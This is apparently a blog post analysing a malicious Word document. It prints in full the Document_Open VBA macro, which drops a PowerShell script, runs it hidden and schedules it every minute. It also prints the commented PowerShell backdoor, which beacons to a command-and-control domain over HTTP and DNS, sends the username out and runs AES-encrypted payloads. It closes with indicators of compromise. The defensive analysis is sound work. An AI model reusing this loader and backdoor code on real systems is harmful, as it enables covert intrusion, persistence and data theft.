Posts Malware Analysis: Malicious Document File I
Post
Cancel

Malware Analysis: Malicious Document File I

I am going to start a Malware Analysis Series, where i will take malware samples and analyze them step-by-step understanding what it does?

This is the First article in the series where we will be analyzing a malicious doc file, we will perform this analysis step by step and try to uncover what this malware does.

You can find resources related to the malware we will analyze from this github repository.

For security reasons I am not sharing the malware file, however, you could download the malware from virusshare (which is a malware repository that contains various malware, but you need an invitation to join the website and download the malware), you can download the malware from here

⚠️ Any domains/URLs/IPs or Scripts discovered while analyzing malware are malicious, I defanged these URLs to prevent any accidental click, Don’t Try to visit these Domains or run these Scripts on your host machine, always use a Sandboxed VM to perform experiments

Static Analysis

I have the malware with the name MAL_DOC_1 with me, the first thing I’ll do is try to find the file type, we could do so by running the file command on a Unix based system

The output shows us that the file is a “Composite Document File V2 Document” created by “Microsoft Office Word” Application

We can confirm the same by checking the hexdump of a file.

The magic bytes or say the signature of a file is do cf 11 e0 which is also read as d0cf11e (or docfile)

The next step is to check the MD5 hash of the file on platforms like virustotal, any[.]run, virusshare, etc that whether the file has been already analyzed.

Here we see that the MD5 hash of the file is 486bdf835a453c6ffb5f56647e697871

If we open this document in our windows lab which we created here, it shows an image asking to enable editing and content which is a common social engineering technique to trick the victim into enabling Macros which might be included with the document.

There are various tools that can help us to extract these Macros, using oletools and oledump, we can dump the VBA Macros,

The first thing is, we will use oledump to list all the VBA files inside the excel file, using the command

1
oledump MAL_XLS_1
  1:       114 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:      8026 '1Table'
  5:       436 'Macros/PROJECT'
  6:        41 'Macros/PROJECTwm'
  7: M    5350 'Macros/VBA/ThisDocument'
  8:      2734 'Macros/VBA/_VBA_PROJECT'
  9:      3336 'Macros/VBA/__SRP_0'
 10:       174 'Macros/VBA/__SRP_1'
 11:      2866 'Macros/VBA/__SRP_2'
 12:       156 'Macros/VBA/__SRP_3'
 13:       515 'Macros/VBA/dir'
 14:       310 'MsoDataStore/Î1ÛOJ5ZÑÍÔCË3ÃÂÑ3ÖÒÃÇQ==/Item'
 15:       341 'MsoDataStore/Î1ÛOJ5ZÑÍÔCË3ÃÂÑ3ÖÒÃÇQ==/Properties'
 16:    276735 'WordDocument'

where the

  • first column represent the stream number (an “M” next to the stream no. represents the code is macro)
  • second column represent the size of the file
  • and the third represents the location of the file

Here we can see that the one with stream #7 is of the Type “Macro”, so let’s extract the macro in stream #7

Stage 0

Using this 👇🏻 command we can extract the vba code

1
python3 oledump.py -s 23 -v MAL_XLS_1 > stage0.vbs

The extracted code is ⬇️

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
stage0.vbs
----------------------------------------------------------------

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
On Error Resume Next
Dim PSF, Tmp As String

Dim singleLine As Paragraph
Dim lineText As String
Dim yCYnlofR
Dim f
Dim qgcLyiCkx As String
qgcLyiCkx = Environ$("AppData") & "\AdobeAcrobatLicenseVerify.ps1"
Set yCYnlofR = CreateObject("Scripting.FileSystemObject")
Set f = yCYnlofR.OpenTextFile(qgcLyiCkx, 2, True)
Dim rng As Range
Dim intSecCount As Integer
Dim intHFType As Integer
intSecCount = ActiveDocument.Sections.Count
For intSection = 1 To intSecCount
    With ActiveDocument.Sections(intSection)
        For intHFType = 1 To 2
            Set rng = ActiveDocument.Sections(intSection).Headers(intHFType).Range
            f.write (rng)
        Next intHFType
    End With
Next intSection
f.Close

PSF = Environ$("AppData") & "\AdobeAcrobatLicenseVerify.ps1"
Tmp = Environ$("AppData") & "\AdobeAcrobatLicenseVerify.vbs"
Dim cmd As String
cmd = "Set oShell = WScript.CreateObject (%WScript.Shell%) : oShell.run %cmd.exe /c Powershell -exec bypass -Windowstyle hidden -File ! %,0,0"
cmd = Replace(cmd, "%", Chr(34))
cmd = Replace(cmd, "!", PSF)

Shell Environ$("COMSPEC") & " /c echo " & Chr(32) & cmd & Chr(32) & " > " & Chr(34) & Tmp & Chr(34), vbHide
Shell Environ$("COMSPEC") & " /c " & "SchTasks /Create /SC MINUTE /MO 1 /TN " & Chr(34) & "Conhost" & Chr(34) & " /TR " & Chr(34) & "wscript " & Tmp & Chr(34), vbHide
End Sub

Let’s start analyzing the VBA code, and try to understand what it does

  • It starts with initializing some attributes,
  • Then there is a sub-routine Sub Document_Open(), this will run when the document file is opened or The macros are enabled, So this can be treated as the entry-point of the Macro,
  • This function starts with initializing some variables,
  • Then it sets the variable qgcLyiCkx with the value as location of “Appdata+\AdobeAcrobatLicenseVerify.ps1” in my system this variable is set as C:\Users\REMWin7\AppData\Roaming\AdobeAcrobatLicenseVerify.ps1 ,
  • Then a Filesystem Object is created, this object provides access to the file system, i.e. using this we can create files, read files, delete files, etc.
  • The File System Object is used to Open a Text File with the location of qgcLyiCkx with Writing Mode, and in Unicode Format, this will return a file stream which will be used to write any data in the opened file.
  • Then there is a loop that is extracting data from the Header section of the Doc file and writing it in the AdobeAcrobatLicenseVerify.ps1 file.

    So In the header section behind the image, there was this Powershell script, which is the next stage i.e. stage1 of our analysis.

  • After that a new variable cmd is initialised and its value is set to "Set oShell = WScript.CreateObject ("WScript.Shell") : oShell.run "cmd.exe /c Powershell -exec bypass -Windowstyle hidden -File \AdobeAcrobatLicenseVerify.ps1 " here wscript is an object which provides an environment to execute scripts.
  • Then there is call to Shell Function which runs an executable program,
  • The complete command looks like

    1
    
      Shell C:\Windows\system32\cmd.exe /c echo "Set oShell = WScript.CreateObject ('WScript.Shell') : oShell.run 'cmd.exe /c Powershell -exec bypass -Windowstyle hidden -File \AdobeAcrobatLicenseVerify.ps1'" > "C:\Users\REMWin7\AppData\Roaming\AdobeAcrobatLicenseVerify.vbs" ,vbHide
    

    This is simply creating a new vbs file and adding the value of “cmd” in it, which essentially means that this vbs script will run the PowerShell file we discovered. vbhide at the end means to run this command in a hidden window

  • The next command is

    1
    
     Shell C:\Windows\system32\cmd.exe /c SchTasks /Create /SC MINUTE /MO 1 /TN "Conhost" /TR "wscript  C:\Users\REMWin7\AppData\Roaming\AdobeAcrobatLicenseVerify.vbs ", vbHide
    

    This is using a command schtask which is used scheduled tasks to run periodically at a specific time, According to this command the vbs script saved in the last stage will be run every minute.

Stage 1

The next stage is the Powershell File which we discovered

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
cmd /c start /b schtasks /delete /tn Conhost /f

# DB64 function takes input and decodes it and then convert to text from base64 string
function DB64([string]$encoded){
    $nsp = $encoded -replace ' '                    # Removing any space
    $strb = new-object System.Text.StringBuilder    # Mutable String of characters
    
    for($i=0; $i -lt $nsp.Length; $i++){            # This loop will take each char from the input and replace:
        if($nsp[$i] -eq '0' ){                      
            if($nsp[$i+1] -eq '0'){                 # 00 with 0
                $null = $strb.Append('0')        
            }        
            if($nsp[$i+1] -eq '1'){                 # 01 with =
                $null = $strb.Append('=')        
            }        
            if($nsp[$i+1] -eq '2'){                 # 02 with /
                $null = $strb.Append('/')        
            }        
            if($nsp[$i+1] -eq '3'){                 # 03 with +
                $null = $strb.Append('+')         
            }        $i++;    
        }    
        else{                                      # else add the char as it is
            $null = $strb.Append($nsp[$i])    
        }                                          
    }                                              # This loop is converting the input to base64 string, where few characters of b64 string are encoded
    $newarr = $strb.ToString()
    $decoded = [System.Convert]::FromBase64String($newarr);   # Decodeing Base64 string
    $decoded;
}            


# EB64 function takes input convert to base64 string, and then encodes it
function EB64([byte[]]$decoded){
    $nsp = [System.Convert]::ToBase64String($decoded)     # Convert Input to base64 string
    $strb = new-object System.Text.StringBuilder
    for($i=0;$i -lt $nsp.Length;$i++){    
        if($nsp[$i] -eq '0' ){        
            $null = $strb.Append('00')                    # Encode string, by replacing 0 with 00
        }    
        elseif($nsp[$i] -eq '='){        
            $null = $strb.Append('01')                    # Encode string, by replacing "=" with 01
        }     
        elseif($nsp[$i] -eq '/'){        
            $null = $strb.Append('02')                    # Encode string, by replacing "/" with 02
        }    
        elseif($nsp[$i] -eq '+'){        
            $null = $strb.Append('03')                    # Encode string, by replacing "+" with 03
        }    
        else{        
            $null = $strb.Append($nsp[$i])    
        }
    }
    $strb.ToString()
}

# DAES Function takes key and bytes and then decrypts the AES encrypted bytes using the key
function DAES($key, $bytes){ 
    $IV = $bytes[0..15];                  # Extracts IV from the encrypted string
    $aeM = MA $key $IV;                   # Creates AES Object from the IV and KEY
    $decryptor = $aeM.CreateDecryptor();  # Decrypts the message
    $ueData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
    $ueData;
}

# EAES Function takes key and bytes and then encrypts bytes using the key and AES encryption
function EAES($key, $bytes){ 
    $aeM = MA $key;                    # Creates AES Object from the IV and KEY
    $ueData = $de                  
    $encryptor = $aeM.CreateEncryptor();    
    $ueData = $de
    $eData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);      
    $ueData = $de
    [byte[]] $fullData = $aeM.IV + $eData ;     
    $ueData = $de
    $fullData;
}

# MA takes key and IV and returns a AES object which is used to decrypt or encrypt
function MA($key, $IV){
    $aeM =New-Object "System.Security.Cryptography.AesManaged"
    $aeM.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aeM.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aeM.BlockSize = 128
    $aeM.KeySize = 256
    if ($IV) { 
        if ($IV.getType().Name -eq "String") {  
            $aeM.IV = [System.Convert]::FromBase64String($IV) 
        } 
        else {  
            $aeM.IV = $IV 
        }
    }
    
    if ($key) { 
        if ($key.getType().Name -eq "String") {  
            $aeM.Key = [System.Convert]::FromBase64String($key) 
        } 
        else {  
            $aeM.Key = $key 
        }
    }
    return $aeM
}

# WebReq function is used to make web requests, it takes domain, request method, cookie, and body of the request and makes the request
function WebReq($domain,$method,$cookieval,$body){
    $url = 'hxxps://www.'+$domain
    $ff= 0;
    while(1){
        $req = [System.Net.WebRequest]::Create($url);
        $req.UseDefaultCredentials = $true
        ([System.Net.HttpWebRequest]$req).UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
        
        $req.Proxy = [System.Net.WebRequest]::DefaultWebProxy
        $req.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
        $cookiejar = new-object System.Net.CookieContainer;
        if($cookieval){ 
            $cookie = New-Object System.Net.Cookie("PHPSESSID",$cookieval); $cookiejar.Add($url, $cookie);
        }
        $req.CookieContainer = $cookiejar;
        $req.Method = $method;
        if($body){    
            $req.ContentType = "text/plain" 
            $req.ContentLength = $body.length 
            $requestStream = $req.GetRequestStream()    
            $req.servicepoint.Expect100continue =$false 
            $requestStream.Write([System.Text.Encoding]::ASCII.GetBytes($body),0,$body.length) 
            $requestStream.Close()
        }
        Try{    
            $resp = $req.GetResponse() 
            $test = (New-Object System.IO.StreamReader($resp.GetResponseStream())).ReadToEnd();    
            $z=0    
            if( ($resp.StatusCode -ne 200) -or ($test.Length -and (($test -replace ' ') -notmatch "^[A-Za-z0-9]*$")) ){
                1/$z
            }    
            break
        }
        Catch{    
            if(!$ff){        
                $ff=1        
                $url = 'hxxp://www[.]'+$domain    
            }    
            else{        
                try{            
                    $id = $env:USERDOMAIN+'\'+$env:USERNAME            
                    $creds = new-object System.Net.NetworkCredential($id,"pass")            
                    $req.Credentials = $creds            
                    $resp = $req.GetResponse()      
                    $test = (New-Object System.IO.StreamReader($resp.GetResponseStream())).ReadToEnd();
                    $z=0            
                    if( ($resp.StatusCode -ne 200) -or ($test.Length -and (($test -replace ' ') -notmatch "^[A-Za-z0-9]*$")) ){
                        1/$z
                    }            
                    break        
                }        
                catch{            
                    return 0    
                }    
            }
        }
    }
    
    $cookies = $cookiejar.GetCookies($url);
    $test
    if( $cookies -and $cookies[0].Name -eq "PHPSESSID" -and $sessvar -ne $cookies[0].Value ){ 
        $cookies[0].Value
    }
}

# Query function is used to query the domain and retrun the 4 address of the domain. 
function Query($dname){   
    $try = 0;
    do{    
        if($try -ne 0){
            Start-Sleep -m 50
        }   
        try{        
            if($Global:osv){            
                $dn = $dname+'.'            
                $qq = nslookup.exe -q=aaaa $dn | where{$_ -match ".*:.*:.*"}            
                return [net.ipaddress]::Parse([System.Text.Encoding]::ASCII.GetString($qq[10..$qq.Length])).GetAddressBytes()        
            }else{            
                $r = Resolve-DnsName -Name $dname -Type AAAA -DnsOnly            
                return [System.Net.IPAddress]::Parse($r.IP6Address).GetAddressBytes()        
            }    
        }    
        catch{}    
        $try++
    }
    while($parts.length -ne 8 -and $try -lt 3)
    return 0;
}

# get-res function queries for various subdomains and add the result(i.e. ipv4) address to an array
function get-res($res,$rr){
    $data = @()
    $tmp = [byte[]]$res[12..15][array]::Reverse($tmp)
    $count = [System.BitConverter]::ToUInt32($tmp,0)            
    for($i=0;$i -lt $count;$i++){    
        $dname = 'www'+$i+'[.]'+$rr+"[.]acrobatverify[.]com"  
        $data += Query  $dname
    }
    $dname = 'www.'+$rr+"[.]acrobatverify[.]com"
    $res = Query $dname
    $f = [array]::IndexOf($data,[byte]124)            
    if( $f -ne -1 ){    
        if( $f -ne 0 ){            
            [System.Text.Encoding]::ASCII.GetString($data[0..($f-1)])    
        }    
        $l = [array]::IndexOf($data[($f+1)..$data.length],[byte]124)    
        if( $l -ne -1 ){       
            $length = [System.Convert]::ToInt32( [System.Text.Encoding]::ASCII.GetString($data[($f+1)..($f+$l)]) )        
            if( $length -gt 0 ){            
                $data[($f+2+$l)..($f+$l+1+$length)]        
            }
        }
    }
}

# DNS-Con function makes DNS request to the provided server.
function DNS-Con($dmode,$cookieavl,$pdata){
    $rr = (Get-Random -Min 100000 -Max 999999).ToString()
    if($dmode -eq 0){    
        $dname = 'mail[.]'+$rr+'[.]acrobatverify[.]com '   
        $res = Query $dname    
        $sdata = $env:USERDOMAIN+'\'+$env:USERNAME + ':pass'    
        $id = [System.Text.Encoding]::ASCII.GetBytes($sdata)    
        $did = EB64 $id    
        $dname = $did+'[.]'+$rr+'[.]acrobatverify[.]com'
    }
    
    else{
        $dname = 'ns1[.]'+$rr+'[.]acrobatverify[.]com'  
        $res = Query $dname    
        $dname = $cookieavl+'[.]'+$rr+'[.]acrobatverify[.]com'    
        $res = Query $dname    
        if($dmode -eq 2){        
            $count = [int][math]::Ceiling($pdata.length/60)        
            for($pn=0;$pn -lt $count ;$pn++){            
                $size = 60            
                if($pn -eq $count-1 -and $pdata.length%60 -gt 0)            {
                    $size=$pdata.length%60
                }            
                $dname = $pdata.substring(($pn*60),$size)+'[.]'+$rr+'[.]+acrobatverify[.]com'
                $res = Query $dname        
            }    
        }    
        $dname = 'ns2[.]'+$rr+'[.]acrobatverify[.]com'
    }
    
    $res = Query $dname
    $rval = get-res 
    $res $rr
    if( $rval ){
        $rval
    }
    else{
        return 0
    }
}

# Here all the functions that were made are used to, send and receive data from and to the C&C (Command and Control Server 
#---------------------------------------------------------------------------------------------------------------#
$Global:osv = 0

if([System.Environment]::OSVersion.Version.Major -eq 6 -and [System.Environment]::OSVersion.Version.Minor -lt 2){
    $Global:osv = 7
}
$ff = $env:temp+"\AdobeAcrobatLicenseVerify.vbs"

if((Test-Path $ff) -eq $false){
    [System.IO.File]::WriteAllText($ff,"CreateObject('WScript.Shell').Run `"`" & WScript.Arguments(0) & `"`", 0, False")
}

$task =  cmd /c start /b schtasks /query /fo csv | where{$_ -notmatch "TaskNa"} | findstr "AdobeAcrobatLicenseVerify"

$executable = "wscript.exe"

$run = $MyInvocation.MyCommand.Definition
$args = '"'+$ff + "`" \`"powershell.exe " +" -ExecutionPolicy bypass -WindowStyle hidden -NoProfile '"+$run+"' "+' \"'

if( $task -eq $null){    
    $tr = $executable+' '+ $args    
    
    cmd /c start /b schtasks /create /sc minute /mo 5 /tn "AdobeAcrobatLicenseVerify" /tr $tr 
}

$val = Get-ItemProperty -Path "hkcu:\" -Name "AdobeAcrobatLicenseVerify"

if( $val ){ 
    $vals = $val."AdobeAcrobatLicenseVerify" -split '_' 
    $sessvar = $vals[0]    
    $EPSK = $vals[1]
}

$dns=0

if(!$sessvar){    
    $http_res =  WebReq "acrobatverify[.]com" "GET"    
    $dns=0    
    if( $http_res -eq 0){        
        $dns = 1        
        $http_res = DNS-Con 0 
        $sessvar    
    }    
    if($http_res -is [system.array] -and $http_res[0].length -gt 1){        
        if($dns){            
            $sessvar = $http_res[0]            
            $EPSK = EB64 $http_res[1..$http_res.Length]        
        }        
        else{         
            $EPSK = $http_res[0]         
            $sessvar = $http_res[1]        
        }        
        $storingval = $sessvar+'_'+$EPSK  New-ItemProperty -path "hkcu:\" -Name "AdobeAcrobatLicenseVerify" -Value $storingval -force    
    }    
    else{exit}
}

Try{
    $http_res = WebReq "acrobatverify[.]com" "GET" $sessvar
    $dns=0
    if( $http_res -eq 0){    
        $dns = 1    
        $http_res = DNS-Con 1 
        $sessvar
    }    
    if($http_res -is [system.array] -and $http_res[1] -and $http_res[0] -and $http_res[0].length -gt 1){        
        if($dns){            
            $sessvar = $http_res[0]            
            $EPSK = EB64 $http_res[1..$http_res.Length]        
        }        
        else{            
            $EPSK = $http_res[0]         
            $sessvar = $http_res[1]        
        }        
        $storingval = $sessvar+'_'+$EPSK        
        New-ItemProperty -path "hkcu:\" -Name "AdobeAcrobatLicenseVerify" -Value $storingval -force        
        return    
    }    
    elseif( !$http_res -and !$http_res[0] )    {
        exit
    }
    
    $PSK = DB64 $EPSK 
    if($dns){
        $bytes = $http_res
    }
    else{ 
        $bytes = DB64 $http_res
    }
    
    $data = DAES $PSK $bytes
    
    if( [System.text.encoding]::ASCII.GetString($data[0..4]) -eq "hello"){
        $uuid = $data[5..40] 
        $type = [System.Text.Encoding]::ASCII.GetString($data[41]) 
        $d = $data[42..$data.length]    
        $prevdomain = "acrobatverify[.]com"    
        if($type -eq 'x'){        
            cmd /c start /b schtasks /delete  /tn "AdobeAcrobatLicenseVerify" /f        Remove-ItemProperty -path "hkcu:\" -Name "AdobeAcrobatLicenseVerify"     [System.IO.File]::WriteAllBytes($MyInvocation.MyCommand.Definition,$d[0..$d.length] )        
            
            $result = [System.Text.Encoding]::ASCII.GetBytes("bye") + $uuid + [System.Text.Encoding]::ASCII.GetBytes("d")     
            
            $Edata = EAES $PSK $result     
            
            $B64bytes = EB64 $Edata        
            
            if($dns -eq 0 ){
                $http_res = WebReq $prevdomain "POST" $sessvar $B64bytes
            }        
            else{
                $http_res = DNS-Con 2 $sessvar $B64bytes
            }        
            
            $nmodule = $executable+' '+ '"'+$ff + '" "powershell.exe' +' -ExecutionPolicy bypass -WindowStyle hidden -NoProfile "'+$run+'"'+' "'        cmd.exe /c $nmodule    
        }
    }
}
catch{
    exit
}
#---------------------------------------------------------------------------------------------------------------#

That’s a lot of Code 🤯

I cleaned, indented, and added comments to the PowerShell script, so that it is easier to understand, We got a bunch of functions here like:

  • DB64 function which takes input, decodes it, and then convert to text from base64 string
  • EB64 function which takes input convert to base64 string, and then encodes it
  • DAES Function takes a key and bytes(or encrypted message) and then decrypts the AES encrypted bytes using the key
  • EAES Function takes a key and bytes(a message) and then encrypts bytes using the key and AES encryption
  • MA takes key and IV and returns an AES object which is used to decrypt or encrypt
  • WebReq function is used to make web requests, it takes the domain, the request method, cookie, and body of the request and makes the request
  • Query function is used to query the domain and returns the ipv4 address of the domain.
  • get-res function queries for various subdomains and adds the result(i.e. ipv4) address to an array
  • DNS-Con function makes a DNS request to the provided server.

And lastly, all these functions are used to send or receive messages from the attacker’s domain, i.e "www[.]acrobatverify[.]com"

IOC

IOC (Indicators Of Compromise) are pieces of data, such as data found in log entries or files, that identify potentially malicious activity on a system or network, This IOC helps in identifying the systems which might be affected by the malware, for example, if malware communicates with an external IP address, then any system that requested that particular IP address is considered to be infected by malware.

So In this malware the potential IOC’c are:

  • Any HTTP requests made to “hxxp[://]acrobatverify[.]com” (URLs are defanged, to prevent any accidental click)
  • DNS resolution to any subdomain of acrobatverify[.]com
  • Any IP traffic to 204[.]11[.]56[.]48 (IP address of acrobatverify[.]com)
  • Presence of C:\Users\REMwin7\AppData\Roaming\AdobeAcrobatLicenseVerify.ps1or C:\Users\REMwin7\AppData\Roaming\AdobeAcrobatLicenseVerify.vbs file

You can get the scripts that i extracted and the IOC’s we dertermined from this github repository


Thanks for Reading, Stay tuned for more ❤︎

If you enjoyed reading the article do follow me on:

Twitter

LinkedIn

Website

GitHub

This post is licensed under CC BY 4.0 by the author.